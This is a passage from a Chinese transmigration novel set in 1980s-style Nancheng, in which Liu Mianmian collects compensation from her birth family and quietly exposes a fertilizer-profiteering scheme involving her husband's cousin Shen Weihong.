“柳家这亲闺女自从结了婚好像就不一样了,她那说话的气势,比她爹那个车间主任还强,哦哟,被她那个眼神一扫,我这心脏扑通扑通直跳。” “是不一样了哦,你看她现在身上穿的,那都是百货大楼的高档货,这老话说佛靠金装人靠衣装,还真是不错。” “她怎么和老蒋家的闺女一起呀?哦哟,她们两个脾气都蛮泼辣的,这算不算臭味相投啦?” …… 臭味相投的两个人已经上了二楼。 二楼一排的门都开着,李副科长的老娘赵大妈直接搬了小板凳坐在门口摘菜,眼睛时不时好奇看向隔壁,看见柳绵绵上来,她讶异道:“绵绵,你这消息挺快啊,快回家看看吧。” 蒋红梅冲柳绵绵使了个眼色,进了自己家,几乎在她进家门的同一时间钱爱真的大嗓门就响了起来:“大清早的,你死哪儿去了你,让你做早饭,你是做西天去了是吧?” 蒋红梅立马就呛了回去:“我去西天做饭,拿回来你敢吃吗?” 柳绵绵差点没绷住笑出来。 蒋红梅可真是个妙人儿。 柳家的气氛可谓凝重,柳志刚和柳永捷坐在小客厅的沙发椅上,一个脸色铁青,一个面无表情,丁明霞和应晓芬正在饭桌旁装饭盒。 看到柳绵绵进门,一家人的表情都微微一僵,尤其丁明霞很快就表情心虚地移开了视线。 柳绵绵微挑了一下眉:“哟,都在家呢?” 不愧是恶毒的炮灰女配呢,柳绵绵都觉得自己这开场白听着不像好人。 柳志刚清了清嗓子,皱着眉头说:“怪腔怪调的做什么?家里出了这么大的事情,也不知道回来看看。正好,你妈和你嫂子准备去医院看看锦诗去,你也一起去瞧瞧。锦诗从小顺风顺水的,一直都很优秀,这次栽了这么大一个跟头,正是需要家里支持的时候。” 柳绵绵看到柳永捷撇了撇嘴。 瞧瞧,柳志刚打的这些官腔,连他自己亲儿子都听不下去。 柳绵绵倒是很有耐心,等柳志刚说完了,才说:“我前阵子不过来,就是体谅家里事情多,这不,一听说事情已经解决了,我赶紧就过来了。” 她转头看向丁明霞:“妈,你现在有心情把两百块钱赔偿款给我了吗?” 丁明霞不敢置信地看向柳绵绵:“今天这样的日子,你进门不说打听一下锦诗的情况,你张口就要钱?” 她说着眼泪就下来了:“我丁明霞是造了什么孽啊,我怎么就生了你这样的白眼狼,你不愿意帮忙找锦诗,你这种时候还来要钱!” 柳绵绵淡淡道:“我那天说的话不是开玩笑。” 顿了一下,她又说:“何况,柳锦诗究竟怎么被牵扯进拐卖案里的,今天早上公安应该已经告诉你们了吧?她想撺掇朱永齐泼我脏水,结果偷鸡不着蚀把米,难不成我还应该感谢她?” 哭泣声戛然而止。 丁明霞、应晓芬都瞬间抬头看向柳绵绵,眼神中除了震惊外,还有心虚。 果然。 之前只是猜测,现在看丁明霞他们的反应,柳绵绵知道自己并没有猜错。 朱永齐为了自保,咬了柳锦诗。 与其说是为了拿钱,不如说柳绵绵其实就是为了来确认这件事。 倒是柳永捷惊讶地重复了一遍:“她想撺掇朱永齐泼你脏水?” 他嗤笑了声,看向柳志刚,语气尖锐而嘲讽:“这就是你嘴里聪明伶俐前途无量的乖女儿?” 柳永捷这态度让柳绵绵大为讶异,毕竟以柳锦诗的八面玲珑,平时可是把柳永捷哄得开开心心的,就是原书里俩人也是一派兄妹情深的样子。 柳绵绵记得,在原书里柳锦诗一路晋升,做到军工厂副厂长,九十年代时辞职下海经商,后面军工厂破产时,她和原书女主还为了收购军工厂而针锋相对上。 而柳永捷,一直是她事业上的左膀右臂。 想到这里,柳绵绵忍不住看了眼瘫在椅子里的柳永捷,总觉得这个臂膀好像有点残疾。 看来,这段时间柳家内部也发生了不少事呀。 残疾的左膀右臂,都开始造反了。 柳志刚本就铁青的脸色益发难看了起来,瞪着柳永捷:“你还是做哥哥的吗,妹妹碰到这种事,你还在这里说风凉话?” 柳永捷唰一下站了起来:“做哥哥的就该永远待在车间里当工人?!我从前都以为你是死要面子,不肯跟人去说项,哪知道根本不是!到底谁是你亲生的,你宁可跑去给柳锦诗‘活动’,也不肯给你亲儿子‘活动’?!她当副科长比我调岗位的他妈重要是吗?她才工作多久,你就给她跑官,我干了多少年了,你想过我吗?!” 哟嚯! 柳绵绵恍然大悟,原来是这么回事。 回想一下原剧情,柳绵绵终于明白,原书里柳锦诗能一路快速晋升,跟她在外头八面玲珑的性格有关系,跟柳志刚早早给她铺路“活动”恐怕更有关系。 其实从原书的剧情发展来看,柳志刚的选择是没错的。亲生儿子各方面条件都一般般,在自己负责的车间里当工人,自己能照看着,等到资历足够,哪怕能力不足,给他弄到副主任的位置上,也不会太难。 养女形象好气质佳,能力足够,口碑也不错,把她扶上更高的位置,以后有她帮衬着亲儿子,亲儿子甚至亲孙子的前程都不会差。 可惜啊,如今看来,柳永捷并不能体会亲爹的用心良苦,反倒因为亲爹的“偏心”,对柳锦诗产生了极大的敌意。 毕竟柳永捷只是什么都不在乎、一心一意只想脱离工人身份成为干事而已。 柳志刚看一眼敞开的房门,压着声音:“你是疯了吗,跑官你都敢说,什么叫我给锦诗跑官,我他妈没有!你妹妹自己优秀,入了领导的眼,你应该高兴,等她再往上走走,你的事情没准也迎刃而解了呢?” 被画过太多饼的柳永捷半点不信,冷冷地呵呵两声。 柳志刚气个倒仰。 柳绵绵看他们好像吵不起来了,淡淡挺醒了一句:“赔偿费,你们总不想在这个节骨眼上给自家本就不好听的名声,雪上加霜吧?” 柳志刚差点气吐血,捂着胸口吼:“给她,快拿给她!” 丁明霞哭着去拿了钱出来,柳绵绵把钱往兜里一塞,扭头就走了。 蒋家母女还在鸡飞狗跳,柳绵绵索性也不跟蒋红梅打招呼了,径自下了楼梯。 楼前的空地上,遛娃的老头老太还在那儿闲聊。这年头娱乐活动少,城西的鸡丢了城东的人都能唠上半天,何况是拐了十来个人的人贩子团伙,何况是自家院子里还出了内应和受害人,这个事情大家至少能唠上几个星期。 “小柳这么快就下来了,家里怎么样啊?”有人好奇问。 柳绵绵停下脚步,幽幽叹了口气,说:“大家心里都乱糟糟的,都需要冷静冷静。”说完她就走了。 大家琢磨着她这句话,心说出了这种事,可不是心里乱糟糟的嘛,换了谁家出这种事,肯定都是一团乱啊! 当然,没多久后,当他们知道柳锦诗之所以会被人贩子团伙盯上,起因竟然是她自己跑去撺掇朱永齐给柳绵绵泼脏水,于是对今天柳绵绵说的这句话就又有了新的理解。 有这么一个人,从小占了本该属于自己东西,长大了还要陷害自己,这心里可不就乱糟糟的吗,换了谁碰见这种事情,都需要时间冷静冷静吧,不然真是拿把菜刀把人剁了都是有可能的。 坐公交车回了求知巷,柳绵绵看时间差不多,干脆也不回9号院了,直接去了芷江西餐厅。 都说七八十年代通讯不便,在听见西餐厅的同事讨论人贩子被抓捕的消息时,柳绵绵忍不住对这种说法产生了怀疑。 这消息不是传得挺快的。 公安怎么通过排查掌握到线索,怎么把人救出来,怎么找到城郊的另一个窝点救出了更多的人……短短时间,大家居然都已经说得头头是道了。 西餐厅的人只知道柳绵绵住求知巷,猜测她家庭条件不错,并不知道她娘家在军工厂家属院。 柳绵绵吃着员工餐,听收银阿琳说:“军工厂家属院的两个女同志才惨呢,他们家属院里不是有个人贩子的内应嘛,那内应也是个软怂的,别的本事没,也忽悠不来其他人,就把自己对象和妹妹给卖了!” 柳绵绵正喝汤,差点没被呛到。 她一边咳嗽一边问:“对象,和妹妹?” 阿琳马上说:“对啊,对象和妹妹,听着就很离谱对吧?这男人可真是个人渣,所以说咱们找对象真是要擦亮眼睛,这骗钱骗感情的居然都还不是最差的了,像这种,一不小心可真是连性命都要搭上了。” 柳绵绵连连点头:“你说的对,太对了。” 不过流言也太离谱了,柳锦诗都成朱永齐对象了。 只能说,希望流言成真,祝他们锁死。 柳绵绵原本还打算上完班就去化肥厂那里看看,结果她下班回求知巷的路上就碰见了余国梁,余国梁一脸兴奋,压着声音:“我们买到化肥了!” 第26章 这人,还挺能演 余国梁看上去比上次见面更憔悴邋遢,但他双眼发亮,神采奕奕,虽然压着声音,声音里却也有着掩饰不住的兴奋:“买到化肥了,而且是足额!” 柳绵绵领着人往9号院走,边走边问:“怎么买到的?” 看他这个神秘兮兮的样子,不像正常渠道买到的? 余国梁笑得嘴巴都快咧到耳根了:“也是运气,跟我们一起排队的兄弟有门路,比化肥厂每吨要贵个四分之一左右,贵就贵点吧,能买到就不错了。麦子收了,水稻就插上秧了,买回去正好当用,不耽误农时。” 柳绵绵问了下化肥的价格。 化肥厂正规途径购买的话,硝酸铵是二百七每吨,尿素是四百每吨,而余国梁所说的门路,硝酸铵要卖到三百三每吨,尿素则直接要五百每吨。 前进乡准备买三十吨硝酸铵、二十吨尿素,原本只要一万六千一,现在却要一万九千九了。 余国梁他们打电话和乡领导请示了,乡领导也知道目前的情况能买到就不错了,多花钱也是没办法的事,而且到时候化肥转卖到农户手中,也就是硝酸铵每斤多三分钱,尿素每斤多五分钱,还算是大家能接受的价格。 分摊到每个人手上确实不多,不过柳绵绵看到的却是这个“门路”从中赚取的差价,单单前进乡就是三千八百元,化肥厂外面有多少个前进乡? 少一点,就算他扒拉到十个前进乡这样的,就有三四万的差价了。 柳绵绵上辈子曾在网上看到,有网友说八十年代价格双轨制时,只要手里有关系有门路,倒卖物资能一夜暴富。不管网友说的对不对,反正柳绵绵是知道了,在这个架空的小说世界里,这种投机倒把、损公肥私的蛀虫是挺多的。 柳绵绵忽然想到那天去找余国梁,在化肥厂门口看到了沈维鸿。 当时沈维鸿和化肥厂那个当红炸子鸡胡科长有说有笑地走在一起。 柳绵绵又稍稍回忆了一下原书的剧情,现在这个时间点,应该正是原书女主南下寻找商机却处处碰壁,失落回到南城,却发现心中的白月光已经结婚并已经被私奔妻子气死的时候。 这次南下是原书女主经历的人生第二大挫折,事业失利,喜欢的人又死了。 第一大挫折是父亲病逝母亲改嫁。 回到南城后,她着实低落了一阵,但骨子里事业批的属性却得到了更大的激发,她化悲愤为动力,总结自己南下创业失败的原因,开始脚踏实地,稳扎稳打,从南城本地寻找商机。 所谓否极泰来,好运似乎开始眷顾她了。 就在这段时间,她意外得到了许海棠被偷走的金银首饰。 在原书里,和柳绵绵同一天结婚的许海棠,被好朋友偷走了金银首饰,等到半个月后才发现,虽然报了案,首饰却也没找回来。她那个好朋友,偷了东西以后不敢放在家里,找地方藏了起来,然后意外被原书女主捡走了。 原书女主通过舔狗二号即男配的手把东西出掉,得到了一笔资金,交给舔狗一号即沈维鸿拿去“投资”,没多久就获得了数倍的利润。 柳绵绵猜测原书作者大概是一个感情流的写手,他虽然写的是大女主事业文,但女主搞事业的具体桥段着墨其实并不多,反倒是在女主男主、女配男配之间极度复杂的多角恋情上花费了大量的篇幅。 随时随地洒狗血,无处不在的拉扯。 反正柳绵绵要是能选择的话,她肯定是一眼都不想看的。 也因此,沈维鸿究竟拿这笔钱去做了什么投资,原书里一笔带过,根本没怎么交代。 倒是路人甲乙丙丁夸赞沈维鸿能力卓绝、年少有为的废话至少用了一页纸。 难不成,沈维鸿就是能力卓绝地拿钱去搞化肥了? 柳绵绵越想越觉得这个可能性非常大,毕竟就目前的南城来看,再没有比化肥更值得“投资”的了。 难怪《资本论》要说,资本来到世间,从头到脚,每个毛孔都滴着血和肮脏的东西。 虽然没到殖民掠夺、黑奴贸易这样的天怒人怨的程度,但这种损公肥私,逮着普通老百姓薅羊毛的行径也实在令人唾弃。 “这种货色也能当男主,我感觉我可以当皇帝了。”柳绵绵忍不住嘀咕。 余国梁疑惑扭头:“啊?” 柳绵绵摆摆手:“没什么没什么。”她一指9号院的大门:“这里就是我婆婆家了,家里人都上班上学去了,白天只有刘婶在家。” 刘婶以极大的热情接待了余国梁,又是拿瓜子花生又是拿水果的,还麻利地做了两碗桂圆红枣鸡蛋糖水。 余国梁好奇地打量四周。 这年头城里住房条件不如乡下,城里一家人住二三十平方的比比皆是,乡下别的没有,总归地是有的,随便盖个茅草棚子,都比城里住得宽敞。 不过,哪怕是在乡下,余国梁也没见过这么宽敞的院子。 而且这还只是一进院子,后头还有呢,家里没那么多人,所以是空着的。 “这家里条件是不错。”余国梁捧着碗,珍惜地喝着糖水,问柳绵绵,“家里人都好相处吗?” 略略放低了点声音:“咱们虽然是乡下的,可也不是别人随意就能欺负的,要他们欺负你,你跟大哥说,咱们回村里喊人过来。” 柳绵绵心头微暖,把自己碗里的鸡蛋也舀给余国梁,阻止余国梁舀回来:“我最近吃胖了好几斤,再吃衣服都穿不下了。” 随后才回答他的问题:“家里人都挺好的,我自己上班拿工资,吃住在家里,婆婆还给我发零花钱呢。” 余国梁顿时舒了一口气:“那就好。” 虽然嘴上说沈家要是欺负人,他就回村里喊人过来撑腰,可实际上余国梁也知道,能住得起这么大院子的人家,真未必是他们能抗衡的。当然,如果真出什么事,他们光脚的也不怕穿鞋的,但总归沈家能对柳绵绵好,那是再好不过了。 庄稼人想法都实际,好不好的,看钱花在哪里就知道了,柳绵绵自己能挣钱的情况下,婆家不让她交生活费,反倒还给她零花钱,这就是真的好了。 喝完糖水,余国梁拿过随身带来的布袋子,从里面拿出两个袋子,一个装的是晒干的野山菌,一个装的是一身棉布的睡衣。 “妈说你在城里生活,咱们乡下做的衣服不好穿出去,就给你做了一身贴身穿的,这布料软和,穿着舒服。” 柳绵绵摸了摸睡衣的面料,确实非常柔软,而且针脚也很细密,看得出缝制的人花费了不少心思。 “帮我谢谢妈。”柳绵绵想了想,问,“你们是明天回去吗?” 余国梁点头:“明天交完货,不管多晚,我们都准备连夜回去。在这儿受罪,不如早点回家。”这么多天下来,他们一起来的几个人都是身心俱疲。吃不好,睡不好的,真的不如早点回去。他还算好一点,老幺给他送过几次饭,都是有肉有菜的。 柳绵绵说:“那回头我准备点东西,你帮着带回去。” 余国梁没有推辞。 老幺回南城这一年多时间里,几乎可以说是音信全无,家里不管寄信还是寄东西,都没有一点回音。问题是寄的信和东西也没见退回去的,他妈心里惦记着,于是还是时不时地寄东西过来。 原来是被这边的亲妈给瞒下了。 这事回去肯定要第一时间告诉家里的,估计他妈知道了心里能好过不少。他如果还能带回点老幺给准备的东西,不拘是什么,估计他妈会更高兴。 “你抽时间回家看看,爸妈会更高兴。” 柳绵绵点点头,想起个事情:“对了,人贩子抓到了,柳锦诗也找回来了,听说受了点罪,现在还在医院。” 她停顿了下,问:“你要去瞧瞧吗?” 毕竟柳锦诗才是余国梁的亲妹妹,自己这个没有血缘关系的妹妹,身体里住着的还是另一个灵魂。 余国梁沉默几秒,摇了摇头:“她应该也不见到我。” 说不好奇是假的,自己的亲妹妹,听说还是军工厂这种国营大厂的干事,但明摆着人家看不起他们,不想认他们,又何必腆着脸凑上去?说白了,其实也就是一个有血缘关系的陌生人而已。 知道她被救回来了,余国梁也就不挂心了。 化肥的事情已经解决,只等明天到约定地点去交接了,余国梁没别的事情,柳绵绵干脆让他留下。沈家这么大的院子,客房自然是有的,在这边好好睡一觉,也好过跑回去化肥厂旁边的招待所,去挤十个人一间的床铺。 余国梁觉得不妥当,这也不是柳绵绵自己家,而是她公婆家,自己就这么留下肯定不合适的。 不过他很快就被刘婶说服了,刘婶说自己要没把他这个娘家大舅子给留下来,回头沈教授和余主任回来了,肯定是要说她的,好说歹说把余国梁给留了下来。 柳绵绵去屋里拿了新的毛巾肥皂,让他干脆趁着下午没事,去隔壁巷子的国营浴室洗个澡松快松快。 沈维舟不在,也不好未经允许就拿他的衣服,柳绵绵原本想让余国梁把身上的衣服穿回去的。 旁边听了一耳朵的刘婶立马回自己屋里拿了一套王叔半新不旧的衣服出来:“这是前几年的衣服,他这两年年纪大了发福了,这衣服就穿不下了,余同志要是不嫌弃,就拿去穿吧。” 一个补丁都没有的衣服,谁会嫌弃啊? 刘婶既然都这么说了,余国梁高高兴兴地收了,跟着柳绵绵就去了隔壁巷子的国营浴室。 这大城市就是不一样,洗澡还专门开个店呢,哪像他们乡下,都是院子里拿个水盆子随便冲一下的。 余国梁觉得新鲜的同时,又觉得自己这回过来,苦是确实吃了不少,但是见识也真是长了不少。 回去能在村头的晒谷场上跟人吹上个把月。 晚上吃饭的时候,俞婉和沈伯康都对余国梁表示了热情的欢迎,俞婉还盛情邀请余国梁在家里多住几天,让沈维舟和柳绵绵带他到处逛逛,余国梁再三表示这次是公干,得跟着乡里的人回去,俞婉才作罢。 “化肥缺口大到如此地步了吗?”听说余国梁为了买化肥已经连续排队十多天,沈伯康大为惊讶。 他是一心都扑在研究上的,不太关心别的事情,隐约知道化肥供应不足,却不知道已经到了这种程度。 柳绵绵看向沈伯康:“化肥厂销售科的胡科长,现在可成了红人了,天天有人请他到我们餐厅吃饭,不但吃牛排,还要喝价格高昂的红酒。听说请他吃一顿饭,他就能通融着给个三五吨的化肥。” 她用下巴点点余国梁:“想请胡科长吃饭也得有门路,我们前进乡没这个门路,想请都没机会。” 余国梁叹口气:“化肥厂的人说了,请胡科长吃饭的都是他自己的朋友,人活世上,哪能没个亲朋好友,胡科长帮着解决三五吨的化肥,那也是出于情谊。他们还说,人家在化肥厂有人脉,自然早就听到风声,早早来排队了,其实先把指标给他们,也是合情合理合规的。” 所以哪怕有人闹起来,最后也是不了了之。 沈伯康紧紧皱眉,重重放下饭碗:“真是此地无银三百两,胡说八道,胡作非为!” 余国梁被他吓了一跳,俞婉忙嗔道:“你说话就说话,摔什么碗。” 沈伯康脸色稍缓,摆摆手说:“余同志别见怪,我这人脾气就这样。” 他想了想,问:“既然如此,你们又怎么买到化肥的呢?”毕竟据余国梁所说,有些人都排了个把月的队了。 柳绵绵默默在心里给便宜公公点了个赞,到底是聪明人,一下子就抓到了重点。 余国梁犹豫了下,就沈伯康这嫉恶如仇,一激动就四个字四个字蹦的态度,他可不敢说自己是找了“门路”买到的化肥。 他正不知道该怎么回答,柳绵绵接过话茬:“他们通过一起排队的人找了个门路,硝酸铵每吨贵六十,尿素每吨贵一百,他们一共买了三十吨硝酸铵,二十吨尿素。” 这下不止沈伯康脸色更黑了,就连俞婉的脸色也很不好看。 俞婉自己是国防工业办的,平时工作上和商业局也偶有往来,对南城各大国营工厂的情况相对比较了解。 她想了想,说:“我记得化肥厂的周厂长是部队转业的,和沈文山好像还是战友。印象中是个老成持重的人,怎么去了企业这么胡来。” 柳绵绵迟疑道:“这么说,那天我们去找我大哥,好像在化肥厂门口看见沈维鸿了,他和那个销售科的胡科长走在一起有说有笑的。” 她扭头看向沈维舟:“沈维舟是不是,你应该也看到了?” 一直没吭声的沈维舟深深看了柳绵绵一眼,随后点头:“嗯。” 说了这么多,不过就是为了引出这一句话,还要装作一副突然想起来还不是很确定的模样。 这人,还挺能演。 沈伯康刚刚捧起的碗又“笃”地一声放了回去,他紧紧拧着眉头,思忖片刻,忽然站了起来,说:“余同志,就当在自己家,你慢慢吃,我还有点工作要处理,先不陪你了。” 余国梁一脸茫然:“啊,哦,没事没事,叔你随意。” 说着眼神瞟向才吃了一半的饭碗,这城里人是不一样哈,吃饭吃一半跑去处理工作了,他们乡下人可没有吃饭吃一半跑去种地的。 柳绵绵看着沈伯康匆匆往正房方向过去,心说便宜公公还是个急性子,这饭吃一半,就去找他亲爹兴师问罪去了。 以沈伯康和“那边”的关系,柳绵绵可不认为他会给沈文山打电话,他的性格,绝对是直接骂到沈老爷子头上的。 毕竟养不教父之过嘛,孙子不教,父和父的父,都有过。 第27章 还是好好活着吧 沈伯康沉着脸走进书房,站在电话机前犹豫了一下,本想冷静冷静,哪知却越想越生气,干脆一把抓起话筒给军区那边打了电话。 正是吃饭的点,沈老爷子也在吃饭,听家里保姆说是沈伯康的电话,顿时欣喜不已,放下筷子就匆匆进了书房。 大儿子和他向来生分,这几年主动打电话来的次数屈指可数。每次都是沈老爷子打听着研究所工作不忙了,主动给他打电话。哪怕如此,也是没几句就挂了。 “伯康,吃饭了没有?”沈老爷子问,“怎么这个时间打电话,是有什么事情吗?” 他还是有自知之明的。 沈伯康压着火气,沉声说:“气饱了,吃不下。” 沈老爷子:“……” 但凡换一个人,敢这么和他说话,他都得把人骂个狗血淋头。 当然,除了沈伯康,也没人敢这么和他说话。 沈老爷子耐心问:“出什么事了?”儿子虽然不在身边,但什么性格沈老爷子还是清楚的。他和他母亲一样,为人厚道、正直、宽容大度,能让他这么生气的事不多。 沈伯康沉着声音把化肥厂的事情说了,又说了沈维鸿在化肥厂出入的事,纯粹客观陈述,没多一句话,说完之后直接就把电话给挂了。 那头沈老爷子听着电话里的嘟嘟声,脸色阴沉得滴水,半晌,他缓缓把话筒挂回去,喊了警卫员向卫军进来。 向卫军听完沈老爷子的吩咐,眼中闪过一丝诧异,不过服从命令是军人的天职,他没说什么,敬了个礼就出去了。 走到门口,向卫军被沈维鸿拦住,沈维鸿看了眼书房的方向,问:“向哥,我大伯给爷爷打电话说什么了啊,爷爷怎么打完了也不出来吃饭,生气呢?” 向卫军笑笑:“老领导怎么会和沈教授生气。” 沈维鸿一噎,却也不得不承认向卫东说的没错,老爷子倒是经常对他们父子横挑鼻子竖挑眼,对沈伯康和沈维舟向来脾气好得很。 他心里不太舒服,一则是向卫军说了个彼此心知肚明但他根本不想听的事实,二则他看出来向卫军是故意转移话题了。 老爷子明显是吩咐了他什么事,但他显然不愿意透露。 这是警卫员的基本素养,但同时也表示了,老爷子吩咐向卫军的事情是不能被他知道的。 沈维鸿抓心挠肝地好奇,却也没办法,眼睁睁看着向卫军出了门。 他原地站了会儿,出门去了团级干部的家属楼。 天已经黑了,沈维鸿站在家属楼前的路灯下,眼神温柔地看着二楼的方向。等了一会儿,有人从楼上下来,拎着簸箕去倒垃圾,看见沈维鸿:“哦哟,维鸿啊,你来找映雪吧,怎么不上去?” 不等沈维鸿回答,中年女人就提着嗓子喊了声:“映雪,维鸿找你。” 二楼窗户上探出两个身影,随后楼道里响起踢踢踏踏的脚步声,两个年轻姑娘一前一后下了楼。 走在前面的是个圆脸,剪了个学生头,看着年纪小一点,大概十七八岁的样子。看见沈维鸿,她笑得双眼微弯,问:“维鸿哥,你怎么来了?” 沈维鸿从兜里掏出几颗大白兔奶糖递给她,说:“我找映雪说点事。” 正好,中年女人倒完垃圾回来,一手拎着簸箕一手就去拽圆脸姑娘:“侯彤彤,赶紧给我回来。”扯着人就走了。 跟在侯彤彤身后下来的姑娘,大概二十来岁的样子,长得挺漂亮,只是眉眼之间微带几分愁绪。 她走到沈维鸿面前:“维鸿。” 沈维鸿眼神一下子软了,含情脉脉看着对方,说:“映雪,我和你说一件事,你听了一定高兴。” 江映雪无奈地笑了下:“还能有什么高兴的事。” 父亲牺牲的抚恤金、这些年自己省吃俭用攒下的钱,跑了一趟南方,折了大半,满心挫败回到南城,又听见沈维舟结婚的消息……这阵子她真是感觉整个世界都一片灰暗。 沈维鸿心疼地看着她,柔声说:“你交给我的钱,明天就能还你了,还能挣好几倍,这不值得高兴吗?” 江映雪微微一怔,如果真能挣好几倍,那么自己在南方亏掉的那些也就都回来了。 只是,什么生意能在短短时间挣到几倍的利润呢? 江映雪抿了抿唇,并没有问这个问题,而是说:“那确实是值得高兴的事情。” 她仰头看着沈维鸿,一脸动容:“维鸿,只有你会这么帮我了。你知道的,我想挣钱并不是单纯为了自己,我想积累一些资金,好好干一番事业,在如火如荼的经济大潮中乘风破浪,也为这个举步维艰的国家尽一分力量。” 像沈维舟一样,成为这个时代中的佼佼者,他在科研领域发光发热,成为军工史上的璀璨明星,她在经济领域奋勇前进,取得同样令人瞩目的成就。 ——这就是她曾经的梦想。 江映雪自然不会把这些话说给沈维鸿听,尤其是在沈维舟已经结婚的情况下,这些话她再不会说给任何人听。 沈维鸿不知她心中所想,看着江映雪闪亮的眼眸,他感到一阵满足,就连心底那一丝隐隐的不安,也变得微不足道了。 “映雪,你的梦想一定会成真的。” 江映雪沉默几秒,脸上露出犹疑的表情:“维鸿,你做的事情不会有什么危险吧?我不希望你为了我冒险。” 沈维鸿:“你想哪里去了,放心吧,我做的都是合法合规的事情,肯定不会有任何危险。” 江映雪点点头:“那我就放心了,你要知道,不管再多的钱,都没有你的安危重要。” 沈维鸿感动不已:“映雪。” 求知巷这边,柳绵绵对发生在军区大院的事情一无所知,为了招待余国梁,今天晚上她请了一小时的假,吃完饭后就撺掇着余国梁一起去西餐厅“见见世面”,余国梁还在犹豫不决呢,刘婶倒是很有兴趣地表示自己想去。 于是后面说着说着,就变成了全家一起去西餐厅见世面了。 到西餐厅以后,陈经理得知柳绵绵的家人过来,特地给他们安排了一个能看到钢琴的位置,还送了一份小吃给他们。 一家子刚吃过晚饭,自然不会点牛排、猪排饭这样的主食,俞婉做主点了几杯咖啡和果汁饮料。 刘婶看看插在玻璃杯口柠檬片,又看看杯子里的桔子汽水,叹息:“这玩意儿从瓶子里瓶子里倒出来,再插这么一片水果,这就要那么贵了?这不是忽悠人嘛。” 王叔尝了一口咖啡,皱皱眉:“这玩意儿苦的啊,跟喝中药似的。”他身体素质好,平时很少生病,也没怎么吃过药,这回倒是尝到了吃药的滋味儿。不过这东西可贵,再难喝也得喝了,不然也太浪费了。 余国梁的也是咖啡,喝了一口觉得有点苦,仔细一咂摸,又有点回甘,他倒是不排斥这个味道。 何况,都进了洋餐厅了,肯定得喝点洋人的玩意儿呀,喝汽水回去跟村里人怎么吹牛,谁还没喝过汽水了? 他小口小口抿着咖啡,东张西望地打量着西餐厅里面的陈设,恨不得把角角落落都给记下来,回去好仔仔细细地给村人描述描述。 “这钢琴和风琴是不一样哈,看着气派多了,锃亮的。”余国梁感叹,“我们老幺真会弹这玩意儿呢?” 话音未落,琴声叮叮咚咚响起,一串串流畅动听的旋律,像山间清泉汩汩流淌,让听众的心也不知不觉跟着静了下来。 “绵绵弹得太好了!”俞婉轻声惊叹。 沈伯康点点头:“比我们研究所的老康好多了,老康还成天说自己是专业水准。” 沈维舟靠在椅子上,餐厅略显昏暗的灯光落下来,勾勒得他的眉眼益发深邃,他看着坐在钢琴前的人。她姿态放松,手指娴熟地在黑白琴键上跳跃,神态是平时没有的专注和愉悦。 她是谁? 沈维舟的脑海中再次冒出这个问题。 在经历过死亡、穿越、重生这一系列的事情,见过异世种种后,沈维舟并不觉得“柳绵绵不是柳绵绵”是什么奇怪的事。 而且,他也没有自大到,认为只有自己才能获得扭转命运的机会。 虽然汽水有点贵,咖啡喝不惯,钢琴曲也不怎么听得懂,但是大家还是很高兴,回家路上都还在讨论西餐厅。 “服务员都是年轻漂亮的姑娘小伙呢,那个小伙子还喊我女士,哦呦,那态度比国营饭店的服务员不知道要好多少倍哦。”刘婶乐得见牙不见眼。 “可不是,我来南城还是头一回见到这么客气的。”余国梁也说。不管是国营饭店还是他们住的招待所,服务员都是一副爱搭不理的模样,更别说化肥厂那些人了,眼睛都长在脑袋上了,嫌弃的态度一点不掩饰的。 “那屋子装潢也好,除了咖啡味道怪一点,别的真是没一点毛病。”王叔也感叹道,“难怪人家生意好,那么挣钱呢。” 俞婉和沈伯康对视一眼,不约而同叹了口气。 面对汹涌而来的经济大潮,国内各企业单位要学的地方还多着呢。 回到家刘婶领着余国梁去客房,其他人各回各屋。 柳绵绵洗漱完后,直接鞋子一甩,上了床。 她捏捏有点酸胀的脚,心里琢磨着之前回忆原书剧情时就想到了的一个问题,既然现在这个时间点,是原主失落回到南城发现白月光已经结婚并且被新婚妻子气死的时候,那么问题来了,沈维舟这个白月光为什么依然好好的? 之前没怎么注意,今天仔细一算才发现,照原书的剧情,沈维舟应该已经死了的啊! 其实这期间还有一件事,就是俞婉遭遇车祸,不过她遭遇车祸的前提是原主私奔后她气不过去柳家理论,回来路上才出了意外。 没有私奔这件事,她不可能跑去柳家,自然也不会遭遇车祸。 所以俞婉能避开死劫是意料之中的,毕竟意外这种东西,有时候早一秒迟一秒可能都是天差地别的结果。 但是沈维舟这个就有些匪夷所思了。 毕竟沈维舟身体差这个事实,是不会因为柳绵绵是否私奔而转变的,柳绵绵认为,不管私奔不私奔,沈维舟既然身体差成那样,应该早晚都会死吧? 想到这里,柳绵绵感觉心头闷闷的,不太舒服。 “你往里面挪一挪吧?” 沈维舟不知什么时候洗漱好了,站在床边看着她。 柳绵绵被吓了一跳,看他一眼,只觉心头乱糟糟的,闻言下意识就往里面挪到靠墙边去了,等回过神,就见沈维舟从床脚拿了他那个叠得整整齐齐的“豆腐块”铺在了床的外侧。 “……” 一不小心“高地”又被他夺回去了。 柳绵绵顿时扼腕不已,不过想想,他“死期已至”,也就不和他计较了。万一他真一命呜呼,这张床的里里外外还不都是她的?算了算了,让让他吧。 完全不知道自己再度被“临终关怀”的沈维舟看了她一眼,问:“明天交接化肥需要我一起去吗?” 柳绵绵摇头:“本来我是想去看看的,不过我不是打小报告了嘛,明天要是去了,沈维鸿看见我,就知道怎么回事了,所以我还是不去的好。” 沈维舟看她一眼,她还挺坦荡,自己就给自己的行为定性为打小报告了。 “再说了,沈维鸿也不是傻子,明天有事也不会是沈维鸿有事,这种热闹不看也罢。”说着,把被子往上一拉,声音也变得沉闷而模糊,“睡觉了,晚安。” 沈维舟下意识回了句“晚安”,就听见她闷在被子里笑了起来。 盯着她露在被子外面的头发看了一会儿,沈维舟拉了一下灯绳,整个房间沉入一片黑暗。 沈维舟躺在那里,睁眼看着黑暗中的虚空,不知过了多久,忽然听见隔壁低低的一声“沈维舟,你还是好好活着吧”,他“嗯?”了一声,扭头看向里侧,却再没听见她说什么。只有平缓的呼吸声,她已经睡着了。 许久,他又“嗯”了一声。 第二天余国梁去西城郊交接化肥,等到了四点多,他匆匆忙忙回到求知巷。 余国梁简单说了他们交接的过程:“……前面都还挺顺利,后面突然来了一群人,说是什么调查组的,让我们配合调查。化肥被扣住了,要等调查结果出来,才让我们运走。” 他叹了口气:“幸好那些人说最多三天就会出调查结果。” 第28章 怎么回事?(修) 余国梁只能又在沈家住了下来。庄稼人闲不住,看到后头那进院子角落里有块空地,原本搭着葡萄架,可惜那株老葡萄已经死了,干枯的枝条上只剩了几片枯黄的叶子。 